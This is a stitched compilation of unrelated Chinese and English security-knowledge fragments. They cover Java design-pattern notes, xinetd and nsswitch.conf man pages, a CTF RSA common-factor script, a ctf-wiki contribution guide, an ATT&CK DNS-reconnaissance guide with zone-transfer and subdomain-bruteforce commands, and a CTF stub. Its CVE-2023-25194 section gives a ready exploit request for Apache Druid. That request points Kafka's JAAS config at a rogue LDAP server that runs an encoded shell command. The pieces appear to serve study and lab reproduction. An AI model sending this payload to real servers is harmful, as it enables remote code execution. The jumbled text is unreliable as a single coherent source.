但是当一个线程进入该方法之后,其它试图进入该方法的线程都必须等待,即使 uniqueInstance 已经被实例化了。这会让线程阻塞时间过长,因此该方法有性能问题,不推荐使用。
```java
public static synchronized Singleton getUniqueInstance() {
if (uniqueInstance == null) {
uniqueInstance = new Singleton();
}
return uniqueInstance;
}
```
#### Ⅳ 双重校验锁-线程安全
uniqueInstance 只需要被实例化一次,之后就可以直接使用了。加锁操作只需要对实例化那部分的代码进行,只有当 uniqueInstance 没有被实例化时,才需要进行加锁。
双重校验锁先判断 uniqueInstance 是否已经被实例化,如果没有被实例化,那么才对实例化语句进行加锁。
```java
public class Singleton {
private volatile static Singleton uniqueInstance;
private Singleton() {
}
public static Singleton getUniqueInstance() {
if (uniqueInstance == null) {
synchronized (Singleton.class) {
if (uniqueInstance == null) {
uniqueInstance = new Singleton();
}
}
}
return uniqueInstance;
}
}
```
考虑下面的实现,也就是只使用了一个 if 语句。在 uniqueInstance == null 的情况下,如果两个线程都执行了 if 语句,那么两个线程都会进入 if 语句块内。虽然在 if 语句块内有加锁操作,但是两个线程都会执行 `uniqueInstance = new Singleton();` 这条语句,只是先后的问题,那么就会进行两次实例化。因此必须使用双重校验锁,也就是需要使用两个 if 语句:第一个 if 语句用来避免 uniqueInstance 已经被实例化之后的加锁操作,而第二个 if 语句进行了加锁,所以只能有一个线程进入,就不会出现 uniqueInstance == null 时两个线程同时进行实例化操作。
```java
if (uniqueInstance == null) {
synchronized (Singleton.class) {
uniqueInstance = new Singleton();
}
}
```
uniqueInstance 采用 volatile 关键字修饰也是很有必要的, `uniqueInstance = new Singleton();` 这段代码其实是分为三步执行:
1. 为 uniqueInstance 分配内存空间
2. 初始化 uniqueInstance
3. 将 uniqueInstance 指向分配的内存地址
但是由于 JVM 具有指令重排的特性,执行顺序有可能变成 1>3>2。指令重排在单线程环境下不会出现问题,但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如,线程 T<sub>1</sub> 执行了 1 和 3,此时 T<sub>2</sub> 调用 getUniqueInstance() 后发现 uniqueInstance 不为空,因此返回 uniqueInstance,但此时 uniqueInstance 还未被初始化。
使用 volatile 可以禁止 JVM 的指令重排,保证在多线程环境下也能正常运行。
#### Ⅴ 静态内部类实现
当 Singleton 类被加载时,静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance()` 方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载,此时初始化 INSTANCE 实例,并且 JVM 能确保 INSTANCE 只被实例化一次。
这种方式不仅具有延迟初始化的好处,而且由 JVM 提供了对线程安全的支持。
```java
public class Singleton {
private Singleton() {
}
private static class SingletonHolder {
private static final Singleton INSTANCE = new Singleton();
}
public static Singleton getUniqueInstance() {
return SingletonHolder.INSTANCE;
}
}
```
#### Ⅵ 枚举实现
```java
public enum Singleton {
INSTANCE;
private String objName;
public String getObjName() {
return objName;
}
public void setObjName(String objName) {
this.objName = objName;
}
public static void main(String[] args) {
// 单例测试
Singleton firstSingleton = Singleton.INSTANCE;
firstSingleton.setObjName("firstName");
System.out.println(firstSingleton.getObjName());
Singleton secondSingleton = Singleton.INSTANCE;
secondSingleton.setObjName("secondName");
System.out.println(firstSingleton.getObjName());
System.out.println(secondSingleton.getObjName());
// 反射获取实例测试
try {
Singleton[] enumConstants = Singleton.class.getEnumConstants();
for (Singleton enumConstant : enumConstants) {
System.out.println(enumConstant.getObjName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
```html
firstName
secondName
secondName
secondName
```
该实现可以防止反射攻击。在其它实现中,通过 setAccessible() 方法可以将私有构造函数的访问级别设置为 public,然后调用构造函数从而实例化对象,如果要防止这种攻击,需要在构造函数中添加防止多次实例化的代码。该实现是由 JVM 保证只会实例化一次,因此不会出现上述的反射攻击。
该实现在多次序列化和序列化之后,不会得到多个实例。而其它实现需要使用 transient 修饰所有字段,并且实现序列化和反序列化的方法。
### Examples
- Logger Classes
- Configuration Classes
- Accesing resources in shared mode
- Factories implemented as Singletons
### JDK
- [java.lang.Runtime#getRuntime()](http://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#getRuntime%28%29)
- [java.awt.Desktop#getDesktop()](http://docs.oracle.com/javase/8/docs/api/java/awt/Desktop.html#getDesktop--)
- [java.lang.System#getSecurityManager()](https://docs.oracle.com/javase/8/docs/api/java/lang/System.html#getSecurityManager--)
|
sec-knowleage
|
import codecs
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from crypto_commons.generic import bytes_to_long
from crypto_commons.rsa.rsa_commons import gcd, get_fi_distinct_primes, modinv
def read_ct():
with codecs.open("cipher", "rb") as input_file:
data = input_file.read()
print(len(data))
msg = bytes_to_long(data)
return msg
def read_key(filename):
with codecs.open(filename, "r") as input_file:
data = input_file.read()
pub = RSA.importKey(data)
print(pub.e, pub.n)
return pub
def main():
pub1 = read_key("pub1.pub")
pub2 = read_key("pub2.pub")
p = gcd(pub1.n, pub2.n)
print(p)
q1 = pub1.n / p
q2 = pub2.n / p
print(p, q1)
print(p, q2)
msg = read_ct()
d1 = modinv(pub1.e, get_fi_distinct_primes([p, q1]))
d2 = modinv(pub2.e, get_fi_distinct_primes([p, q2]))
first = pow(msg, d1, pub1.n)
print(long_to_bytes(first))
main()
|
sec-knowleage
|
.\"(c) Copyright 1992 by Panagiotis Tsirigotis
.\"(c) Sections Copyright 1998-2001 by Rob Braun
.\"All rights reserved. The file named COPYRIGHT specifies the terms
.\"and conditions for redistribution.
.\"
.TH XINETD 8 "14 June 2001"
.\" *************************** NAME *********************************
.SH NAME
xinetd \- 扩展的互联网服务守护进程
.\" *************************** SYNOPSIS *********************************
.SH 总览 SYNOPSIS
.B xinetd
[\fIoptions\fP]
.\" *************************** DESCRIPTION *********************************
.SH 描述 DESCRIPTION
\fBxinetd\fP 执行与 \fBinetd\fP 相同的任务:它启动提供互联网服务的程序。与在系统初始化时启动这些服务器,让它们保持休眠,直到有连接请求到达才提供服务这种做法不同,\ fBxinetd\fP 是唯一的被启动的守护进程,它侦听各种服务在它们各自的配置文件中列出的所有端口。当一个请求到达,\fBxinetd\fP 启动合适的服务器。因为它以这种方式操作,\fBxinetd\fP (还有 \fBinetd\fP) 常被称作超级服务器。
.LP
列在 \fBxinetd\fP 的配置文件中的服务可以分为两组。第一组的服务称为
.I "多线程的 (multi-threaded)"
并且它们需要为每个新的连接请求产生 (fork) 一个新的服务器进程。接下来新的服务器将处理那个连接。对于这些服务,\fBxinetd\fP 保持侦听新的请求从而可以孵化 (spawn) 新的服务器。另一方面,第二组包含着需要由服务器守护进程处理所有新的连接请求的服务。这些服务称为
.I "单线程的 (single-threaded)"
并且 \fBxinetd\fP 将停止为它们处理新的请求,直到这个服务器退出。这个组中的服务一般都是基于数据报的。
.LP
至今,超级服务器存在的唯一理由是通过避免大量产生生命周期中大部分时间可能都是空闲着的进程,从而节省系统资源。当实现这种功能时,\ fBxinetd\fP 从超级服务器这种思想中获得了好处,可以提供访问控制和日志等特性。更进一步,\fBxinetd\fP 不仅限于侦听
.I /etc/services
中列出的服务。因此,任何人都可以使用 \fBxinetd\fP 来启动特殊用途的服务器。
.\" *************************** OPTIONS *********************************
.SH 选项 OPTIONS
.TP
.BR \-d
启用调试模式。这样将产生大量调试输出,并且使得在 \fBxinetd\fP 上使用一个调试器成为可能。
.TP
.BI \-syslog " syslog_facility"
这个选项使得 syslog 使用指定的日志功能来记录 \fBxinetd\fP 产生的消息。可以使用下列功能:
.I daemon,
.I auth,
.I user,
.I "local[0-7]"
(参见 \fIsyslog.conf(5)\fP 来查看它们的意义)。这个选项在 debug 模式是无效的,因为所有的相关信息都将送到终端上。
.TP
.BI \-filelog " logfile"
\fBxinetd\fP 产生的信息将放到指定文件中。信息总是添加到文件之后。如果文件不存在,将会被创建。这个选项在 debug 模式无效,因为所有的相关信息都将送到终端上。
.TP
.BI \-f " config_file"
决定\fBxinetd\fP 用来配置的文件。默认设置是 \fI/etc/xinetd.conf\fP。
.TP
.BR \-pidfile " pid_file"
.br
进程 ID 被写入的文件。这个选项在 debug 模式无效。
.TP
.BI \-dontfork
指定\fBxinetd\fP 在前台运行,而不是分离自身以支持由 init 或 daemontools 运行。这个选项自动设置了
.B \-stayalive
(参见下面)。
.TP
.BI \-stayalive
指定\fBxinetd\fP 保持运行,即使没有指定服务。
.TP
.BI \-limit " proc_limit"
这个选项为
.B xinetd
可以启动的并行运行的进程数设置了一个上限。目的是防止进程表溢出。
.TP
.BI \-logprocs " limit"
这个选项为服务远程用户的并行运行的进程数设置了一个上限。
.TP
.BI \-version
这个选项使得 xinetd 打印出它的版本信息。
.TP
.BI \-inetd_compat
这个选项使得 xinetd 在标准的配置文件之外,附加地读取\fI/etc/inetd.conf\fR。\fI/etc/inetd.conf\fR 的读取是在读取标准的配置文件之后。
.TP
.BI \-cc " interval"
这个选项指定
.B xinetd
每
.I interval
秒对内部状态进行一次定时的一致性检查。
.LP
\fIsyslog\fP 和 \fIfilelog\fP 选项是互相独立的。如果没有指定任何一个,默认将使用 syslog 的
.I daemon
功能。你不应将 \fBxinetd\fP 信息与和服务日志相关的信息相混淆。后者只有在配置文件中指定之后才会记录。
.\" *********************** CONTROLLING XINETD ****************************
.SH "控制 xinetd CONTROLLING XINETD"
.LP
\fBxinetd\fP 收到一定的信号时会执行一定的动作。与特定信号相关联的特定动作可以通过修改 \fIconfig.h\fP 并且重新编译来重新定义。
.TP 15
.B SIGHUP
导致一个强制的重新配置,意味着 \fBxinetd\fP 重新读取配置文件,停止不再有效的服务的服务器。在正在运行的服务器上将刷新访问控制,检查远程位置,访问时间和服务器实例。如果允许的服务器实例数减少了,一些随机选取的服务器将会被杀掉来满足限制; 这将在任何服务器停止\fI之后\fR发生,因为不能通过远程位置或访问时间的检查(this will happen \fIafter\fP any servers are terminated because of failing the remote location or access time checks)。还有,如果
.B INTERCEPT
标志被清除后又重新设置,此服务的任何运行中的服务器将被停止。\fI这样做的目的是保证在强制的重新配置之后,没有那种接受从不遵循访问控制标准的地址发来的包的服务器在运行。
.TP
.B SIGQUIT
导致程序退出。
.TP
.B SIGTERM
在 \fBxinetd\fP 退出之前,停止所有运行中的服务器。
.TP
.B SIGUSR1
导致内部状态转储 (默认的转储文件是 \fI/var/run/xinetd.dump\fP;要改变文件名,修改 \fIconfig.h\fP 然后重新编译。)
.TP
.B SIGIOT
导致一个内部一致性检查来核对程序使用的数据结构没有崩溃。当检查结束时,
.B xinetd
将产生一个消息,报告测试是成功了还是失败了。
.LP
重新配置的时候,日志文件被关闭又重新打开。这样做允许移除旧的日志文件。
.\" *********************** FILES ****************************
.SH 文件 FILES
.LP
.PD .1v
.TP 20
.B /etc/xinetd.conf
默认的配置文件
.TP
.B /var/run/xinetd.dump
默认的转储文件
.PD
.\" *********************** SEE ALSO ****************************
.SH "参见 SEE ALSO"
.I "inetd(8),"
.LP
.I "xinetd.conf(5),"
.LP
.I "xinetd.log(5)"
.LP
.I "http://cr.yp.to/daemontools.html
.\" *********************** AUTHOR ****************************
.SH 作者 AUTHOR
Panos Tsirigotis, CS Dept, University of Colorado, Boulder
Rob Braun
.\" *********************** PRONUNCIATION ****************************
.SH 发音 PRONUNCIATION
zy-net-d
.SH "[中文版维护人]"
.B 袁乙钧 <bbbush@163.com>
.SH "[中文版最新更新]"
.B 2003.11.04
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
## 组合(Composite)
### Intent
将对象组合成树形结构来表示“整体/部分”层次关系,允许用户以相同的方式处理单独对象和组合对象。
### Class Diagram
组件(Component)类是组合类(Composite)和叶子类(Leaf)的父类,可以把组合类看成是树的中间节点。
组合对象拥有一个或者多个组件对象,因此组合对象的操作可以委托给组件对象去处理,而组件对象可以是另一个组合对象或者叶子对象。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2b8bfd57-b4d1-4a75-bfb0-bcf1fba4014a.png"/> </div><br>
### Implementation
```java
public abstract class Component {
protected String name;
public Component(String name) {
this.name = name;
}
public void print() {
print(0);
}
abstract void print(int level);
abstract public void add(Component component);
abstract public void remove(Component component);
}
```
```java
public class Composite extends Component {
private List<Component> child;
public Composite(String name) {
super(name);
child = new ArrayList<>();
}
@Override
void print(int level) {
for (int i = 0; i < level; i++) {
System.out.print("--");
}
System.out.println("Composite:" + name);
for (Component component : child) {
component.print(level + 1);
}
}
@Override
public void add(Component component) {
child.add(component);
}
@Override
public void remove(Component component) {
child.remove(component);
}
}
```
```java
public class Leaf extends Component {
public Leaf(String name) {
super(name);
}
@Override
void print(int level) {
for (int i = 0; i < level; i++) {
System.out.print("--");
}
System.out.println("left:" + name);
}
@Override
public void add(Component component) {
throw new UnsupportedOperationException(); // 牺牲透明性换取单一职责原则,这样就不用考虑是叶子节点还是组合节点
}
@Override
public void remove(Component component) {
throw new UnsupportedOperationException();
}
}
```
```java
public class Client {
public static void main(String[] args) {
Composite root = new Composite("root");
Component node1 = new Leaf("1");
Component node2 = new Composite("2");
Component node3 = new Leaf("3");
root.add(node1);
root.add(node2);
root.add(node3);
Component node21 = new Leaf("21");
Component node22 = new Composite("22");
node2.add(node21);
node2.add(node22);
Component node221 = new Leaf("221");
node22.add(node221);
root.print();
}
}
```
```html
Composite:root
--left:1
--Composite:2
----left:21
----Composite:22
------left:221
--left:3
```
### JDK
- javax.swing.JComponent#add(Component)
- java.awt.Container#add(Component)
- java.util.Map#putAll(Map)
- java.util.List#addAll(Collection)
- java.util.Set#addAll(Collection)
|
sec-knowleage
|
# 贡献文档要求
当你打算贡献某部分的内容时,你应该尽量确保
- 文档内容满足基本格式要求
- 文档的合理性
- 文档存储的格式
## 文档内容的基本格式
这里主要是指 [中文排版指南](https://github.com/ctf-wiki/ctf-wiki/wiki/%E4%B8%AD%E6%96%87%E6%8E%92%E7%89%88%E6%8C%87%E5%8D%97) 与 [MkDocs 使用说明](https://github.com/ctf-wiki/ctf-wiki/wiki/Mkdocs-%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E)。额外的基本要求如下
- 之后可能会考虑为段落标题自动生成序号,所以我们不推荐在段落标题处增加序号。
- 由于所涉及的题目我们都**合理**地放在了 `ctf-challenge` 仓库,所以我们无需在文档中注明题目的链接。而且,题目可能会随时移动,修复链接是一个非常费时间的事情。
## 文档的合理性
所谓合理性,指所编写的**内容**必须具有如下的特性
- 由浅入深,内容的难度应该具有渐进性。
- 逻辑性,对于每类内容的撰写应该尽量包含以下的内容
- 原理,说明该内容对应的原理。
- 例子,给出 1 ~ 2 个典型的例子。
- 题目,在该标题下, **只需要给出题目名字**。
## 文档存储的格式
对于每类要编写的内容,对应的文档应该存储在合适的目录下
- figure,存储编写文档时所使用的图片。需要注意的是,图片要放在本地文件夹,避免引用外链。请使用相对路径 `./figure` 来索引图片。
- **文件名请务必都小写,以 `-` 分割, 如 `file-name`**
- 注意:无论是例子还是题目,**相应的附件都应该存储在 ctf-challenge 仓库中的对应目录中**。
|
sec-knowleage
|
# Apache Kafka Clients JNDI injection RCE (CVE-2023-25194)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Kafka is an open-source distributed event streaming platform that is used for real-time data streaming and processing. Kafka clients are a set of Java libraries that allow you to produce and consume messages from Apache Kafka.
In the version prior to 3.3.2, there is a JNDI injection issue in the Apache Kafka clients if an attacker is able to set the `sasl.jaas.config` property for any of the connector's Kafka clients to `com.sun.security.auth.module.JndiLoginModule`. It will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.
Because this issue exists in a Java library, we have to find a real world software that is using the kafka-clients.
This software is Apache Druid, which is depended on kafka-clients to connect to one of its datasources. This guide is demonstrates how to exploit CVE-2023-25194 in the Apache Druid server.
References:
- <https://nvd.nist.gov/vuln/detail/CVE-2023-25194>
- <https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml>
- <https://hackerone.com/reports/1529790>
## Vulnerable Environment
Execute following command to start a Apache Druid server 25.0.0 which is depended on kafka-clients 3.3.1:
```
docker compose up -d
```
After server is started, you can see the home page of Apache Druid on `http://your-ip:8888`.
## Exploit
Firstly, use [JNDIExploit](https://github.com/vulhub/JNDIExploit) to start a rogue JNDI server:

You will get some evil urls from this tool, modify it.
Paste the evil LDAP url into following request and send it:
```
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://roguo-jndi-server:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
```

As you can see, `id > /tmp/success` was executed successfully:

|
sec-knowleage
|
.TH NSSWITCH.CONF 5 "11 January 1998" "Linux" "Linux Programmer's Manual"
.SH NAME
nsswitch.conf \- 系统数据库及名字服务开关配置文件
.SH DESCRIPTION
C 程序库里很多函数都需要配置以便能在本地环境正常工作, 习惯上是使用文件(例如`/etc/passwd') 来完成这一任务. 但别的名字服务, 如网络信息服务NIS, 还有域名服务DNS等, 逐渐通用起来, 并且被加入了C 程序库里, 而它们使用的是固定的搜索顺序.
.LP
在有NYS 支持的Linux libc5以及GNU C Library 2.x (libc.so.6)里, 依靠一个更清晰完整的方案来解决该问题. 该方案模仿了Sun Microsystems公司在Solaris 2 的C 程序库里的方法, 也沿袭了它们的命名, 称为 "名字服务开关(NSS)". 所用 "数据库" 及其查找顺序在文件
.B /etc/nsswitch.conf
里指明.
.LP
NSS 中可用数据库如下:
.TP
.B aliases
邮件别名,
.BR sendmail (8)
使用该文件.
.TP
.B ethers
以太网号.
.TP
.B group
用户组,
.BR getgrent (3)
函数使用该文件.
.TP
.B hosts
主机名和主机号,
.BR gethostbyname (3)
以及类似的函数使用了该文件.
.TP
.B netgroup
网络内主机及其用户的列表, 访问规则使用该文件.
.TP
.B network
网络名及网络号,
.BR getnetent (3)
函数使用该文件.
.TP
.B passwd
用户口令,
.BR getpwent (3)
函数使用该文件.
.TP
.B protocols
网络协议,
.BR getprotoent (3)
函数使用该文件.
.TP
.B publickey
NIS+及NFS 所使用的secure_rpc的公开密匙.
.TP
.B rpc
远程过程调用名及调用号,
.BR getrpcbyname (3)
及类似函数使用该文件.
.TP
.B services
网络服务,
.BR getservent (3)
函数使用该文件.
.TP
.B shadow
shadow用户口令,
.BR getspnam (3)
函数使用该文件.
.LP
下面是
.B /etc/nsswitch.conf
文件的一个例子 (如果在系统中没有
.B /etc/nsswitch.conf
文件的话, 这就是缺省的设置):
.sp 1n
.PD 0
.TP 16
passwd:
compat
.TP
group:
compat
.TP
shadow:
compat
.sp 1n
.TP
hosts:
dns [!UNAVAIL=return] files
.TP
networks:
nis [NOTFOUND=return] files
.TP
ethers:
nis [NOTFOUND=return] files
.TP
protocols:
nis [NOTFOUND=return] files
.TP
rpc:
nis [NOTFOUND=return] files
.TP
services:
nis [NOTFOUND=return] files
.PD
.LP
第一栏就是上面的表里所说的数据库, 每行的其余部分指明如何查找. 对每个数据库都可以分别指明其查找方法.
.LP
每个数据库的配置规范包含两个不同的项:
.PD 0
.TP
* 服务规范, 如`files', `db', 或者`nis'.
.TP
* 对查找结果的反应, 如`[NOTFOUND=return]'.
.PD
.LP
在有NYS支持的libc5里允许服务规范`files', `nis'及`nisplus',此外,还可以对hosts 指明`dns' 为额外服务, 对passwd及group 指明`compat', 但不能对shadow指明`compat'.
.LP
在GNU C Library里, 每个可用的SERVICE都必须有文件
.B /lib/libnss_SERVICE.so.1
与之对应. 在标准安装时, 可以使用`files',`db', `nis'以及`nisplus'. 此外, 还可以对hosts 指明`dns' 为额外服务, 对passwd, group, shadow 指明`compat', 而在有NYS 支持的libc5中, 不支持最后一项服务.
.LP
说明中的第二项使用户可以更好地控制查找过程. Action项处于两个服务名之间, 被括弧括着, 常规格式如下:
.LP
`[' ( `!'? STATUS `=' ACTION )+ `]'
.LP
这里
.sp 1n
.PD 0
.TP
STATUS => success | notfound | unavail | tryagain
.TP
ACTION => return | continue
.PD
.LP
对关键字的大小写并不敏感. STATUS的值是调用指定服务查找函数的结果, 意义如下:
.TP
.B success
没有错误发生, 得到想要的结果. 缺省action是`return'.
.TP
.B notfound
查找顺利, 但是没有得到所要的结果. 缺省action是`continue'.
.TP
.B unavail
服务永久不可用. 这可能意味着必要的文件不可用, 或者,DNS 服务不可用或不允许查询.缺省action是`continue'.
.TP
.B tryagain
服务临时不可用. 可能是文件被锁住了或者服务器当前不 接受过多的连接. 缺省action是`continue'.
.LP
使用+/-语法的交互(compat 模式)无NYS支持的linux libc5没有名字服务开关, 但允许用户做一些简单的策略控制. 在
.B /etc/passwd
里可以使用+user或+@netgroup条目(即包括NIS passwd映射所指定用户), 以及-user或-@netgroup条目(即不包括被指定用户), 还有 + 条目(即包括每个用户, 除了NIS passwd映射所排除的). 大多数人只放一个 + 在
.B /etc/passwd
末尾, 以此包括NIS 的所有东西. 对该情况, 开关提供更快捷的替代方式(`passwd: files nis'), 这使得无需再往
.BR /etc/passwd,
.B /etc/group
及
.BR /etc/shadow
里添加单个 + 条目. 如果这还不够, NSS 的`compat' 服务提供了完全的+/-语法. 我们可以对伪数据库
.BR passwd_compat,
.B group_compat
及
.BR shadow_compat
指明`nisplus'服务来覆盖缺省服务`nis', 但请注意只在GNU C Library里可以使用伪数据库.
.SH 文件 FILES
名为SERVICE的服务是通过位于/lib的共享对象libnss_SERVICE.so.1实现的.
.TP 25
.PD 0
.B /etc/nsswitch.conf
配置文件
.TP
.B /lib/libnss_compat.so.1
为GNU C Library 2.x实现`compat'
.TP
.B /lib/libnss_db.so.1
为GNU C Library 2.x实现`db'
.TP
.B /lib/libnss_dns.so.1
为GNU C Library 2.x实现`dns'
.TP
.B /lib/libnss_files.so.1
为GNU C Library 2.x实现`files'
.TP
.B /lib/libnss_hesoid.so.1
为GNU C Library 2.x实现`hesoid'
.TP
.B /lib/libnss_nis.so.1
为GNU C Library 2.x实现`nis'
.TP
.B /lib/libnss_nisplus.so.1
为GNU C Library 2.x实现`nisplus'
.LP
.SH 注意 NOTES
每个用到了nsswitch.conf 文件的进程只完整地读一次文件, 如果该文件后面被改变了, 进程将仍然使用原来的配置.
在Solaris 下, 不能静态连接使用了NSS Service 的程序, 但是在Linux 下, 则毫无问题.
.SH "[中文版维护人]"
.B <mapping@263.net>
.SH "[中文版最新更新]"
.B 2000.11.11
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1596-001-搜索开放的技术数据库-DNS/被动DNS
## 来自ATT&CK的描述
在入侵受害者之前,攻击者可以在DNS数据中搜索可在目标确定期间使用的有关受害者的信息。DNS信息可能包括各种详细信息,包括注册的名称服务器以及概述目标子域,邮件服务器和其他主机的地址的记录。
攻击者可以搜索DNS数据以收集可操作的信息。也可以直接查询目标组织的名称服务器,或者搜索记录了DNS查询响应的集中存储库(称为被动DNS)(引自:DNS Dumpster)(引自:Circl Passive DNS)。攻击者还可能寻求和定位揭示目标内部网络信息的DNS错误配置/泄漏。这些来源提供的信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[搜索受害者拥有的网站](https://contribute.knowledge.qihoo.net/detail/technique/T1594)或[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)),建立运营资源(例如:[获取基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1583)或[入侵基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1584)),或实现初始访问(例如:[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133)或[信任关系](https://contribute.knowledge.qihoo.net/detail/technique/T1199))。
## 测试案例
信息收集--DNS信息收集
### NSLOOKUP
解析A记录、MX记录、NS记录
```yml
终端中输入 :nslookup
在显示的页面中输入域名,会解析出最终的A记录和IP地址
>set type=a # 指定查询类型为A记录(主机记录)
>set type=mx # 指定查询类型为MX记录(邮件交换记录·)
>set type=ns # 指定查询类型为NS记录(域名服务器记录)
>sina.com # 查询 sina.com 这个域名
```
反向域名解析
```yml
使用IP反向解析出域名(ptr)
>set type=ptr
> 66.102.251.24
```
指定server IP
```yml
>server 8.8.8.8 # 指定我们想要指定的DNS服务器的IP,使用该服务器来进行查询
>www.sina.com
```
指定所有类型
```yml
>set type=any # 指定查询所有类型的记录
>www.sina.com
```
### DIG
查询所有记录
```yml
dig sina.com any @8.8.8.8
# 查询 sina.com 的所有类型的记录,并指定IP地址为 8.8.8.8
# 建议指定不同的域名服务器IP对同一个域名进行解析(比较结果,确定查询的准确性)
```
筛选输出结果
```yml
dig mail.163.com any
# 查询163的mail的记录
dig +noall mail.163.com any
# +noall筛选输出结果(即什么结果都不输出)
dig +noall +answer mail.183.com any
# 只显示我们最终想要的结果
```
反向查询(ptr)
```yml
dig -x 66.102.251.24
# 反向查询该IP地址的ptr记录,得到其域名
```
查询DNS服务器的bind版本信息
```yml
# 在Linux和Unix服务器中提供的DNS服务的软件包一般都是bind
# 在获得bind信息后就可以查看它的bind有哪些漏洞,依据这些漏洞获得所有的DNS记录
dig +noall +answer txt chaos VERSION.BIND @mail.163.com
# 过滤筛选输出 文本 bind的class类型 域名
```
对DNS记录进行追踪(DNS追踪)
```yml
dig +trace www.sina.com
```
### DNS区域传输
DNS区域传输是发生在DNS服务器之间信息同步的一个过程(区域传输机制,通常只发生在本域域名服务器之间),在渗透测试中被尝试用来获取所有的DNS记录信息
```yml
dig @ns1.sina.com sina.com axfr
# 先指定ns服务器 发起区域传输的指令
# DNS服务器的域名查询一般都是UDP的53端口,区域传输即域名服务器之间的同步数据使用TCP的53端口
host -T -l sina.com ns1.sina.com
# -T:显示时间 -l:进行AXFR的全区域传输
# 如果是查询 sina.com 的话,后面一定要跟一个 sina 的域名服务器的地址(查询什么跟什么)
```
### DNS字典爆破
准备一个包含常见主机记录名称的字典,用字典向DNS服务器发起一个字典式的暴力破解。如果有这个记录,DNS服务器就会返回其对应的IP地址。如果没有就会返回一个错误的结果(尝试将目标服务器里面的所有的主机记录和子域的域名记录给爆破出来)
dnsenum
```yml
sudo apt install dnsenum # 安装dnsenum
dnsenum -f dns.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
# -o:把爆破出来的内容保存成一个xml文件,-f:指定字典文件
```
dnsmap
```yml
sudo apt install dnsmap # 安装dnsmap
dnsmap sina.com -w dns.txt
# -w:用来指定字典文件
```
### DNS注册信息(whois查询)
收集DNS的注册信息,比如注册新浪sina.com的信息。有的域名在注册时会留下注册人的姓名、电话、邮箱、公司地址等等信息(可以用来作为社会工程学或者物理攻击的手段)。
可以通过whois来查询这些信息。不同地区、区域有不同地区的whois信息,那个国家用那个NIC必须分配后才能使用,不能随便乱用,否者会造成互联网上的混乱,而且可能出现重复的IP地址。最早的IP分配就是由InterNic来完成的,后来不同地区成立了一些地区性质的NIC,亚太地区的NIC是由APNIC负责。
通过whois命令行工具来查询
```yml
sudo apt install whois # 安装whois工具
whois 8.8.8.8
whois sina.com
whois -h whois.apnic.net 66.102.251.24
```
在线whois网站查询
```yml
http://www.afrinic.net # AFRINIC
http://www.apnic.net # APNIC
http://ws.arin.net # ARIN
http://www.iana.com # IANA
http://www.icann.org # ICANN
http://www.lacnic.net # LACNIC
http://www.nro.net # NRO
http://www.ripe.net # RIPE
http://internic.net # InterNic
```
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
### 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。
检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。
## 相关TIP
[[T1596-002-搜索开放的技术数据库-WHOIS]]
[[T1596-003-搜索开放的技术数据库-数字签名]]
[[T1596-004-搜索开放的技术数据库-CDN]]
[[T1596-005-搜索开放的技术数据库-公开的扫描数据库]]
## 参考推荐
MITRE-ATT&CK-T1596-001
<https://attack.mitre.org/techniques/T1596/001/>
信息收集——DNS信息收集
<https://blog.csdn.net/weixin_45126664/article/details/107603032>
|
sec-knowleage
|
# Can You Bypass The SOP 2
* Category: Web
* 150 Points
* Solved by the JCTF Team
## Description
> Hi Agent! Your mission is to exfiltrate data of our target, so we can catch him! Can you do it?
>
> URL: https://can-you-bypass-the-sop.ctf.bsidestlv.com/
>
> BOT: https://can-you-bypass-the-sop.ctf.bsidestlv.com/bot
## Solution
